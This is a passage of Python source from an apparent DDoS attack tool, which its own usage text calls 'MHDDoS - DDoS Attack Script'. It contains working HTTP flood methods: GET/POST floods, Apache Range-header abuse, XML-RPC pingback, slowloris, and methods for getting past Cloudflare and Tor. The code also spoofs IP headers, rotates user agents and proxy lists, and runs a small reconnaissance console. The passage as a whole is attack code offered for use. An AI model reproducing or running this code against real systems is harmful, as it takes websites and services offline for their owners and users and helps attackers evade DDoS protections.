'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
869
'Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
870
'Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9',
871
'Mozilla/5.0 (Linux; U; Android 2.3.5; zh-cn; HTC_IncredibleS_S710e Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
872
'Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
873
'Mozilla/5.0 (Linux; U; Android 2.3.4; fr-fr; HTC Desire Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
874
'Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile myTouch 3G Slide Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
875
'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
876
'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari',
877
'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
878
'Mozilla/5.0 (Linux; U; Android 2.3.3; ko-kr; LG-LU3000 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
879
'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
880
'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile',
881
'Mozilla/5.0 (Linux; U; Android 2.3.3; de-de; HTC Desire Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
882
'Mozilla/5.0 (Linux; U; Android 2.3.3; de-ch; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
883
'Mozilla/5.0 (Linux; U; Android 2.2; fr-lu; HTC Legend Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
884
'Mozilla/5.0 (Linux; U; Android 2.2; en-sa; HTC_DesireHD_A9191 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
885
'Mozilla/5.0 (Linux; U; Android 2.2.1; fr-fr; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
886
'Mozilla/5.0 (Linux; U; Android 2.2.1; en-gb; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
887
'Mozilla/5.0 (Linux; U; Android 2.2.1; en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'
888
]
889
self._useragents = list(useragents)
890
self._req_type = self.getMethodType(method)
891
self._defaultpayload = "%s %s HTTP/%s\r\n" % (self._req_type,
892
target.raw_path_qs, randchoice(['1.0', '1.1', '1.2']))
893
self._payload = (self._defaultpayload +
894
'Accept-Encoding: gzip, deflate, br\r\n'
895
'Accept-Language: en-US,en;q=0.9\r\n'
896
'Cache-Control: max-age=0\r\n'
897
'Connection: keep-alive\r\n'
898
'Sec-Fetch-Dest: document\r\n'
899
'Sec-Fetch-Mode: navigate\r\n'
900
'Sec-Fetch-Site: none\r\n'
901
'Sec-Fetch-User: ?1\r\n'
902
'Sec-Gpc: 1\r\n'
903
'Pragma: no-cache\r\n'
904
'Upgrade-Insecure-Requests: 1\r\n')
905
906
def select(self, name: str) -> None:
907
self.SENT_FLOOD = self.GET
908
for key, value in self.methods.items():
909
if name == key:
910
self.SENT_FLOOD = value
911
912
def run(self) -> None:
913
if self._synevent: self._synevent.wait()
914
self.select(self._method)
915
while self._synevent.is_set():
916
self.SENT_FLOOD()
917
918
@property
919
def SpoofIP(self) -> str:
920
spoof: str = ProxyTools.Random.rand_ipv4()
921
return ("X-Forwarded-Proto: Http\r\n"
922
f"X-Forwarded-Host: {self._target.raw_host}, 1.1.1.1\r\n"
923
f"Via: {spoof}\r\n"
924
f"Client-IP: {spoof}\r\n"
925
f'X-Forwarded-For: {spoof}\r\n'
926
f'Real-IP: {spoof}\r\n')
927
928
def generate_payload(self, other: str = None) -> bytes:
929
return str.encode((self._payload +
930
f"Host: {self._target.authority}\r\n" +
931
self.randHeadercontent +
932
(other if other else "") +
933
"\r\n"))
934
935
def open_connection(self, host=None) -> socket:
936
if self._proxies:
937
sock = randchoice(self._proxies).open_socket(AF_INET, SOCK_STREAM)
938
else:
939
sock = socket(AF_INET, SOCK_STREAM)
940
941
sock.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
942
sock.settimeout(.9)
943
sock.connect(host or self._raw_target)
944
945
if self._target.scheme.lower() == "https":
946
sock = ctx.wrap_socket(sock,
947
server_hostname=host[0] if host else self._target.host,
948
server_side=False,
949
do_handshake_on_connect=True,
950
suppress_ragged_eofs=True)
951
return sock
952
953
@property
954
def randHeadercontent(self) -> str:
955
return (f"User-Agent: {randchoice(self._useragents)}\r\n"
956
f"Referrer: {randchoice(self._referers)}{parse.quote(self._target.human_repr())}\r\n" +
957
self.SpoofIP)
958
959
@staticmethod
960
def getMethodType(method: str) -> str:
961
return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "TOR", "COOKIE", "OVH", "EVEN",
962
"DYN", "SLOW", "PPS", "APACHE",
963
"BOT", "RHEX", "STOMP"} \
964
else "POST" if {method.upper()} & {"POST", "XMLRPC", "STRESS"} \
965
else "HEAD" if {method.upper()} & {"GSB", "HEAD"} \
966
else "REQUESTS"
967
968
def POST(self) -> None:
969
payload: bytes = self.generate_payload(
970
("Content-Length: 44\r\n"
971
"X-Requested-With: XMLHttpRequest\r\n"
972
"Content-Type: application/json\r\n\r\n"
973
'{"data": %s}') % ProxyTools.Random.rand_str(32))[:-2]
974
s = None
975
with suppress(Exception), self.open_connection() as s:
976
for _ in range(self._rpc):
977
Tools.send(s, payload)
978
Tools.safe_close(s)
979
980
def TOR(self) -> None:
981
provider = "." + randchoice(tor2webs)
982
target = self._target.authority.replace(".onion", provider)
983
payload: Any = str.encode(self._payload +
984
f"Host: {target}\r\n" +
985
self.randHeadercontent +
986
"\r\n")
987
s = None
988
target = self._target.host.replace(".onion", provider), self._raw_target[1]
989
with suppress(Exception), self.open_connection(target) as s:
990
for _ in range(self._rpc):
991
Tools.send(s, payload)
992
Tools.safe_close(s)
993
994
def STRESS(self) -> None:
995
payload: bytes = self.generate_payload(
996
("Content-Length: 524\r\n"
997
"X-Requested-With: XMLHttpRequest\r\n"
998
"Content-Type: application/json\r\n\r\n"
999
'{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2]
1000
s = None
1001
with suppress(Exception), self.open_connection() as s:
1002
for _ in range(self._rpc):
1003
Tools.send(s, payload)
1004
Tools.safe_close(s)
1005
1006
def COOKIES(self) -> None:
1007
payload: bytes = self.generate_payload(
1008
"Cookie: _ga=GA%s;"
1009
" _gat=1;"
1010
" __cfduid=dc232334gwdsd23434542342342342475611928;"
1011
" %s=%s\r\n" %
1012
(ProxyTools.Random.rand_int(1000, 99999), ProxyTools.Random.rand_str(6),
1013
ProxyTools.Random.rand_str(32)))
1014
s = None
1015
with suppress(Exception), self.open_connection() as s:
1016
for _ in range(self._rpc):
1017
Tools.send(s, payload)
1018
Tools.safe_close(s)
1019
1020
def APACHE(self) -> None:
1021
payload: bytes = self.generate_payload(
1022
"Range: bytes=0-,%s" % ",".join("5-%d" % i
1023
for i in range(1, 1024)))
1024
s = None
1025
with suppress(Exception), self.open_connection() as s:
1026
for _ in range(self._rpc):
1027
Tools.send(s, payload)
1028
Tools.safe_close(s)
1029
1030
def XMLRPC(self) -> None:
1031
payload: bytes = self.generate_payload(
1032
("Content-Length: 345\r\n"
1033
"X-Requested-With: XMLHttpRequest\r\n"
1034
"Content-Type: application/xml\r\n\r\n"
1035
"<?xml version='1.0' encoding='iso-8859-1'?>"
1036
"<methodCall><methodName>pingback.ping</methodName>"
1037
"<params><param><value><string>%s</string></value>"
1038
"</param><param><value><string>%s</string>"
1039
"</value></param></params></methodCall>") %
1040
(ProxyTools.Random.rand_str(64),
1041
ProxyTools.Random.rand_str(64)))[:-2]
1042
s = None
1043
with suppress(Exception), self.open_connection() as s:
1044
for _ in range(self._rpc):
1045
Tools.send(s, payload)
1046
Tools.safe_close(s)
1047
1048
def PPS(self) -> None:
1049
payload: Any = str.encode(self._defaultpayload +
1050
f"Host: {self._target.authority}\r\n\r\n")
1051
s = None
1052
with suppress(Exception), self.open_connection() as s:
1053
for _ in range(self._rpc):
1054
Tools.send(s, payload)
1055
Tools.safe_close(s)
1056
1057
def KILLER(self) -> None:
1058
while True:
1059
Thread(target=self.GET, daemon=True).start()
1060
1061
def GET(self) -> None:
1062
payload: bytes = self.generate_payload()
1063
s = None
1064
with suppress(Exception), self.open_connection() as s:
1065
for _ in range(self._rpc):
1066
Tools.send(s, payload)
1067
Tools.safe_close(s)
1068
1069
def BOT(self) -> None:
1070
payload: bytes = self.generate_payload()
1071
p1, p2 = str.encode(
1072
"GET /robots.txt HTTP/1.1\r\n"
1073
"Host: %s\r\n" % self._target.raw_authority +
1074
"Connection: Keep-Alive\r\n"
1075
"Accept: text/plain,text/html,*/*\r\n"
1076
"User-Agent: %s\r\n" % randchoice(search_engine_agents) +
1077
"Accept-Encoding: gzip,deflate,br\r\n\r\n"), str.encode(
1078
"GET /sitemap.xml HTTP/1.1\r\n"
1079
"Host: %s\r\n" % self._target.raw_authority +
1080
"Connection: Keep-Alive\r\n"
1081
"Accept: */*\r\n"
1082
"From: googlebot(at)googlebot.com\r\n"
1083
"User-Agent: %s\r\n" % randchoice(search_engine_agents) +
1084
"Accept-Encoding: gzip,deflate,br\r\n"
1085
"If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9),
1086
ProxyTools.Random.rand_str(4)) +
1087
"If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n")
1088
s = None
1089
with suppress(Exception), self.open_connection() as s:
1090
Tools.send(s, p1)
1091
Tools.send(s, p2)
1092
for _ in range(self._rpc):
1093
Tools.send(s, payload)
1094
Tools.safe_close(s)
1095
1096
def EVEN(self) -> None:
1097
payload: bytes = self.generate_payload()
1098
s = None
1099
with suppress(Exception), self.open_connection() as s:
1100
while Tools.send(s, payload) and s.recv(1):
1101
continue
1102
Tools.safe_close(s)
1103
1104
def OVH(self) -> None:
1105
payload: bytes = self.generate_payload()
1106
s = None
1107
with suppress(Exception), self.open_connection() as s:
1108
for _ in range(min(self._rpc, 5)):
1109
Tools.send(s, payload)
1110
Tools.safe_close(s)
1111
1112
def CFB(self):
1113
global REQUESTS_SENT, BYTES_SEND
1114
pro = None
1115
if self._proxies:
1116
pro = randchoice(self._proxies)
1117
s = None
1118
with suppress(Exception), create_scraper() as s:
1119
for _ in range(self._rpc):
1120
if pro:
1121
with s.get(self._target.human_repr(),
1122
proxies=pro.asRequest()) as res:
1123
REQUESTS_SENT += 1
1124
BYTES_SEND += Tools.sizeOfRequest(res)
1125
continue
1126
1127
with s.get(self._target.human_repr()) as res:
1128
REQUESTS_SENT += 1
1129
BYTES_SEND += Tools.sizeOfRequest(res)
1130
Tools.safe_close(s)
1131
1132
def CFBUAM(self):
1133
payload: bytes = self.generate_payload()
1134
s = None
1135
with suppress(Exception), self.open_connection() as s:
1136
Tools.send(s, payload)
1137
sleep(5.01)
1138
ts = time()
1139
for _ in range(self._rpc):
1140
Tools.send(s, payload)
1141
if time() > ts + 120: break
1142
Tools.safe_close(s)
1143
1144
def AVB(self):
1145
payload: bytes = self.generate_payload()
1146
s = None
1147
with suppress(Exception), self.open_connection() as s:
1148
for _ in range(self._rpc):
1149
sleep(max(self._rpc / 1000, 1))
1150
Tools.send(s, payload)
1151
Tools.safe_close(s)
1152
1153
def DGB(self):
1154
global REQUESTS_SENT, BYTES_SEND
1155
with suppress(Exception):
1156
if self._proxies:
1157
pro = randchoice(self._proxies)
1158
with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents), pro.asRequest()) as ss:
1159
for _ in range(min(self._rpc, 5)):
1160
sleep(min(self._rpc, 5) / 100)
1161
with ss.get(self._target.human_repr(),
1162
proxies=pro.asRequest()) as res:
1163
REQUESTS_SENT += 1
1164
BYTES_SEND += Tools.sizeOfRequest(res)
1165
continue
1166
1167
Tools.safe_close(ss)
1168
1169
with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents)) as ss:
1170
for _ in range(min(self._rpc, 5)):
1171
sleep(min(self._rpc, 5) / 100)
1172
with ss.get(self._target.human_repr()) as res:
1173
REQUESTS_SENT += 1
1174
BYTES_SEND += Tools.sizeOfRequest(res)
1175
1176
Tools.safe_close(ss)
1177
1178
def DYN(self):
1179
payload: Any = str.encode(self._payload +
1180
f"Host: {ProxyTools.Random.rand_str(6)}.{self._target.authority}\r\n" +
1181
self.randHeadercontent +
1182
"\r\n")
1183
s = None
1184
with suppress(Exception), self.open_connection() as s:
1185
for _ in range(self._rpc):
1186
Tools.send(s, payload)
1187
Tools.safe_close(s)
1188
1189
def DOWNLOADER(self):
1190
payload: Any = self.generate_payload()
1191
1192
s = None
1193
with suppress(Exception), self.open_connection() as s:
1194
for _ in range(self._rpc):
1195
Tools.send(s, payload)
1196
while 1:
1197
sleep(.01)
1198
data = s.recv(1)
1199
if not data:
1200
break
1201
Tools.send(s, b'0')
1202
Tools.safe_close(s)
1203
1204
def BYPASS(self):
1205
global REQUESTS_SENT, BYTES_SEND
1206
pro = None
1207
if self._proxies:
1208
pro = randchoice(self._proxies)
1209
s = None
1210
with suppress(Exception), Session() as s:
1211
for _ in range(self._rpc):
1212
if pro:
1213
with s.get(self._target.human_repr(),
1214
proxies=pro.asRequest()) as res:
1215
REQUESTS_SENT += 1
1216
BYTES_SEND += Tools.sizeOfRequest(res)
1217
continue
1218
1219
with s.get(self._target.human_repr()) as res:
1220
REQUESTS_SENT += 1
1221
BYTES_SEND += Tools.sizeOfRequest(res)
1222
Tools.safe_close(s)
1223
1224
def GSB(self):
1225
s = None
1226
with suppress(Exception), self.open_connection() as s:
1227
for _ in range(self._rpc):
1228
payload = str.encode("%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type,
1229
self._target.raw_path_qs,
1230
ProxyTools.Random.rand_str(6)) +
1231
"Host: %s\r\n" % self._target.authority +
1232
self.randHeadercontent +
1233
'Accept-Encoding: gzip, deflate, br\r\n'
1234
'Accept-Language: en-US,en;q=0.9\r\n'
1235
'Cache-Control: max-age=0\r\n'
1236
'Connection: Keep-Alive\r\n'
1237
'Sec-Fetch-Dest: document\r\n'
1238
'Sec-Fetch-Mode: navigate\r\n'
1239
'Sec-Fetch-Site: none\r\n'
1240
'Sec-Fetch-User: ?1\r\n'
1241
'Sec-Gpc: 1\r\n'
1242
'Pragma: no-cache\r\n'
1243
'Upgrade-Insecure-Requests: 1\r\n\r\n')
1244
Tools.send(s, payload)
1245
Tools.safe_close(s)
1246
1247
def RHEX(self):
1248
randhex = str(randbytes(randchoice([32, 64, 128])))
1249
payload = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
1250
self._target.authority,
1251
randhex) +
1252
"Host: %s/%s\r\n" % (self._target.authority, randhex) +
1253
self.randHeadercontent +
1254
'Accept-Encoding: gzip, deflate, br\r\n'
1255
'Accept-Language: en-US,en;q=0.9\r\n'
1256
'Cache-Control: max-age=0\r\n'
1257
'Connection: keep-alive\r\n'
1258
'Sec-Fetch-Dest: document\r\n'
1259
'Sec-Fetch-Mode: navigate\r\n'
1260
'Sec-Fetch-Site: none\r\n'
1261
'Sec-Fetch-User: ?1\r\n'
1262
'Sec-Gpc: 1\r\n'
1263
'Pragma: no-cache\r\n'
1264
'Upgrade-Insecure-Requests: 1\r\n\r\n')
1265
s = None
1266
with suppress(Exception), self.open_connection() as s:
1267
for _ in range(self._rpc):
1268
Tools.send(s, payload)
1269
Tools.safe_close(s)
1270
1271
def STOMP(self):
1272
dep = ('Accept-Encoding: gzip, deflate, br\r\n'
1273
'Accept-Language: en-US,en;q=0.9\r\n'
1274
'Cache-Control: max-age=0\r\n'
1275
'Connection: keep-alive\r\n'
1276
'Sec-Fetch-Dest: document\r\n'
1277
'Sec-Fetch-Mode: navigate\r\n'
1278
'Sec-Fetch-Site: none\r\n'
1279
'Sec-Fetch-User: ?1\r\n'
1280
'Sec-Gpc: 1\r\n'
1281
'Pragma: no-cache\r\n'
1282
'Upgrade-Insecure-Requests: 1\r\n\r\n')
1283
hexh = r'\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87' \
1284
r'\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F' \
1285
r'\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F' \
1286
r'\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84' \
1287
r'\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F' \
1288
r'\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98' \
1289
r'\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98' \
1290
r'\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B' \
1291
r'\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99' \
1292
r'\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C' \
1293
r'\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA '
1294
p1, p2 = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
1295
self._target.authority,
1296
hexh) +
1297
"Host: %s/%s\r\n" % (self._target.authority, hexh) +
1298
self.randHeadercontent + dep), str.encode(
1299
"%s %s/cdn-cgi/l/chk_captcha HTTP/1.1\r\n" % (self._req_type,
1300
self._target.authority) +
1301
"Host: %s\r\n" % hexh +
1302
self.randHeadercontent + dep)
1303
s = None
1304
with suppress(Exception), self.open_connection() as s:
1305
Tools.send(s, p1)
1306
for _ in range(self._rpc):
1307
Tools.send(s, p2)
1308
Tools.safe_close(s)
1309
1310
def NULL(self) -> None:
1311
payload: Any = str.encode(self._payload +
1312
f"Host: {self._target.authority}\r\n" +
1313
"User-Agent: null\r\n" +
1314
"Referrer: null\r\n" +
1315
self.SpoofIP + "\r\n")
1316
s = None
1317
with suppress(Exception), self.open_connection() as s:
1318
for _ in range(self._rpc):
1319
Tools.send(s, payload)
1320
Tools.safe_close(s)
1321
1322
def BOMB(self):
1323
assert self._proxies, \
1324
'This method requires proxies. ' \
1325
'Without proxies you can use github.com/codesenberg/bombardier'
1326
1327
while True:
1328
proxy = randchoice(self._proxies)
1329
if proxy.type != ProxyType.SOCKS4:
1330
break
1331
1332
res = run(
1333
[
1334
f'{bombardier_path}',
1335
f'--connections={self._rpc}',
1336
'--http2',
1337
'--method=GET',
1338
'--latencies',
1339
'--timeout=30s',
1340
f'--requests={self._rpc}',
1341
f'--proxy={proxy}',
1342
f'{self._target.human_repr()}',
1343
],
1344
stdout=PIPE,
1345
)
1346
if self._thread_id == 0:
1347
print(proxy, res.stdout.decode(), sep='\n')
1348
1349
def SLOW(self):
1350
payload: bytes = self.generate_payload()
1351
s = None
1352
with suppress(Exception), self.open_connection() as s:
1353
for _ in range(self._rpc):
1354
Tools.send(s, payload)
1355
while Tools.send(s, payload) and s.recv(1):
1356
for i in range(self._rpc):
1357
keep = str.encode("X-a: %d\r\n" % ProxyTools.Random.rand_int(1, 5000))
1358
Tools.send(s, keep)
1359
sleep(self._rpc / 15)
1360
break
1361
Tools.safe_close(s)
1362
1363
1364
class ProxyManager:
1365
1366
@staticmethod
1367
def DownloadFromConfig(cf, Proxy_type: int) -> Set[Proxy]:
1368
providrs = [
1369
provider for provider in cf["proxy-providers"]
1370
if provider["type"] == Proxy_type or Proxy_type == 0
1371
]
1372
logger.info(
1373
f"{bcolors.WARNING}Downloading Proxies from {bcolors.OKBLUE}%d{bcolors.WARNING} Providers{bcolors.RESET}" % len(
1374
providrs))
1375
proxes: Set[Proxy] = set()
1376
1377
with ThreadPoolExecutor(len(providrs)) as executor:
1378
future_to_download = {
1379
executor.submit(
1380
ProxyManager.download, provider,
1381
ProxyType.stringToProxyType(str(provider["type"])))
1382
for provider in providrs
1383
}
1384
for future in as_completed(future_to_download):
1385
for pro in future.result():
1386
proxes.add(pro)
1387
return proxes
1388
1389
@staticmethod
1390
def download(provider, proxy_type: ProxyType) -> Set[Proxy]:
1391
logger.debug(
1392
f"{bcolors.WARNING}Proxies from (URL: {bcolors.OKBLUE}%s{bcolors.WARNING}, Type: {bcolors.OKBLUE}%s{bcolors.WARNING}, Timeout: {bcolors.OKBLUE}%d{bcolors.WARNING}){bcolors.RESET}" %
1393
(provider["url"], proxy_type.name, provider["timeout"]))
1394
proxes: Set[Proxy] = set()
1395
with suppress(TimeoutError, exceptions.ConnectionError,
1396
exceptions.ReadTimeout):
1397
data = get(provider["url"], timeout=provider["timeout"]).text
1398
try:
1399
for proxy in ProxyUtiles.parseAllIPPort(
1400
data.splitlines(), proxy_type):
1401
proxes.add(proxy)
1402
except Exception as e:
1403
logger.error(f'Download Proxy Error: {(e.__str__() or e.__repr__())}')
1404
return proxes
1405
1406
1407
class ToolsConsole:
1408
METHODS = {"INFO", "TSSRV", "CFIP", "DNS", "PING", "CHECK", "DSTAT"}
1409
1410
@staticmethod
1411
def checkRawSocket():
1412
with suppress(OSError):
1413
with socket(AF_INET, SOCK_RAW, IPPROTO_TCP):
1414
return True
1415
return False
1416
1417
@staticmethod
1418
def runConsole():
1419
cons = f"{gethostname()}@MHTools:~#"
1420
1421
while 1:
1422
cmd = input(cons + " ").strip()
1423
if not cmd: continue
1424
if " " in cmd:
1425
cmd, args = cmd.split(" ", 1)
1426
1427
cmd = cmd.upper()
1428
if cmd == "HELP":
1429
print("Tools:" + ", ".join(ToolsConsole.METHODS))
1430
print("Commands: HELP, CLEAR, BACK, EXIT")
1431
continue
1432
1433
if {cmd} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
1434
exit(-1)
1435
1436
if cmd == "CLEAR":
1437
print("\033c")
1438
continue
1439
1440
if not {cmd} & ToolsConsole.METHODS:
1441
print(f"{cmd} command not found")
1442
continue
1443
1444
if cmd == "DSTAT":
1445
with suppress(KeyboardInterrupt):
1446
ld = net_io_counters(pernic=False)
1447
1448
while True:
1449
sleep(1)
1450
1451
od = ld
1452
ld = net_io_counters(pernic=False)
1453
1454
t = [(last - now) for now, last in zip(od, ld)]
1455
1456
logger.info(
1457
("Bytes Sent %s\n"
1458
"Bytes Received %s\n"
1459
"Packets Sent %s\n"
1460
"Packets Received %s\n"
1461
"ErrIn %s\n"
1462
"ErrOut %s\n"
1463
"DropIn %s\n"
1464
"DropOut %s\n"
1465
"Cpu Usage %s\n"
1466
"Memory %s\n") %
1467
(Tools.humanbytes(t[0]), Tools.humanbytes(t[1]),
1468
Tools.humanformat(t[2]), Tools.humanformat(t[3]),
1469
t[4], t[5], t[6], t[7], str(cpu_percent()) + "%",
1470
str(virtual_memory().percent) + "%"))
1471
if cmd in ["CFIP", "DNS"]:
1472
print("Soon")
1473
continue
1474
1475
if cmd == "CHECK":
1476
while True:
1477
with suppress(Exception):
1478
domain = input(f'{cons}give-me-ipaddress# ')
1479
if not domain: continue
1480
if domain.upper() == "BACK": break
1481
if domain.upper() == "CLEAR":
1482
print("\033c")
1483
continue
1484
if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
1485
exit(-1)
1486
if "/" not in domain: continue
1487
logger.info("please wait ...")
1488
1489
with get(domain, timeout=20) as r:
1490
logger.info(('status_code: %d\n'
1491
'status: %s') %
1492
(r.status_code, "ONLINE"
1493
if r.status_code <= 500 else "OFFLINE"))
1494
1495
if cmd == "INFO":
1496
while True:
1497
domain = input(f'{cons}give-me-ipaddress# ')
1498
if not domain: continue
1499
if domain.upper() == "BACK": break
1500
if domain.upper() == "CLEAR":
1501
print("\033c")
1502
continue
1503
if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
1504
exit(-1)
1505
domain = domain.replace('https://',
1506
'').replace('http://', '')
1507
if "/" in domain: domain = domain.split("/")[0]
1508
print('please wait ...', end="\r")
1509
1510
info = ToolsConsole.info(domain)
1511
1512
if not info["success"]:
1513
print("Error!")
1514
continue
1515
1516
logger.info(("Country: %s\n"
1517
"City: %s\n"
1518
"Org: %s\n"
1519
"Isp: %s\n"
1520
"Region: %s\n") %
1521
(info["country"], info["city"], info["org"],
1522
info["isp"], info["region"]))
1523
1524
if cmd == "TSSRV":
1525
while True:
1526
domain = input(f'{cons}give-me-domain# ')
1527
if not domain: continue
1528
if domain.upper() == "BACK": break
1529
if domain.upper() == "CLEAR":
1530
print("\033c")
1531
continue
1532
if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
1533
exit(-1)
1534
domain = domain.replace('https://',
1535
'').replace('http://', '')
1536
if "/" in domain: domain = domain.split("/")[0]
1537
print('please wait ...', end="\r")
1538
1539
info = ToolsConsole.ts_srv(domain)
1540
logger.info(f"TCP: {(info['_tsdns._tcp.'])}\n")
1541
logger.info(f"UDP: {(info['_ts3._udp.'])}\n")
1542
1543
if cmd == "PING":
1544
while True:
1545
domain = input(f'{cons}give-me-ipaddress# ')
1546
if not domain: continue
1547
if domain.upper() == "BACK": break
1548
if domain.upper() == "CLEAR":
1549
print("\033c")
1550
if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
1551
exit(-1)
1552
1553
domain = domain.replace('https://',
1554
'').replace('http://', '')
1555
if "/" in domain: domain = domain.split("/")[0]
1556
1557
logger.info("please wait ...")
1558
r = ping(domain, count=5, interval=0.2)
1559
logger.info(('Address: %s\n'
1560
'Ping: %d\n'
1561
'Aceepted Packets: %d/%d\n'
1562
'status: %s\n') %
1563
(r.address, r.avg_rtt, r.packets_received,
1564
r.packets_sent,
1565
"ONLINE" if r.is_alive else "OFFLINE"))
1566
1567
@staticmethod
1568
def stop():
1569
print('All Attacks has been Stopped !')
1570
for proc in process_iter():
1571
if proc.name() == "python.exe":
1572
proc.kill()
1573
1574
@staticmethod
1575
def usage():
1576
print((
1577
'* MHDDoS - DDoS Attack Script With %d Methods\n'
1578
'Note: If the Proxy list is empty, The attack will run without proxies\n'
1579
' If the Proxy file doesn\'t exist, the script will download proxies and check them.\n'
1580
' Proxy Type 0 = All in config.json\n'
1581
' SocksTypes:\n'
1582
' - 6 = RANDOM\n'
1583
' - 5 = SOCKS5\n'
1584
' - 4 = SOCKS4\n'
1585
' - 1 = HTTP\n'
1586
' - 0 = ALL\n'
1587
' > Methods:\n'
1588
' - Layer4\n'
1589
' | %s | %d Methods\n'
1590
' - Layer7\n'
1591
' | %s | %d Methods\n'
1592
' - Tools\n'
1593
' | %s | %d Methods\n'
1594
' - Others\n'
1595
' | %s | %d Methods\n'
1596
' - All %d Methods\n'
1597
'\n'
1598
'Example:\n'
1599
' L7: python3 %s <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional>\n'
1600
' L4: python3 %s <method> <ip:port> <threads> <duration>\n'
1601
' L4 Proxied: python3 %s <method> <ip:port> <threads> <duration> <socks_type> <proxylist>\n'
1602
' L4 Amplification: python3 %s <method> <ip:port> <threads> <duration> <reflector file (only use with'
1603
' Amplification)>\n') %
1604
(len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
1605
", ".join(Methods.LAYER4_METHODS), len(Methods.LAYER4_METHODS),
1606
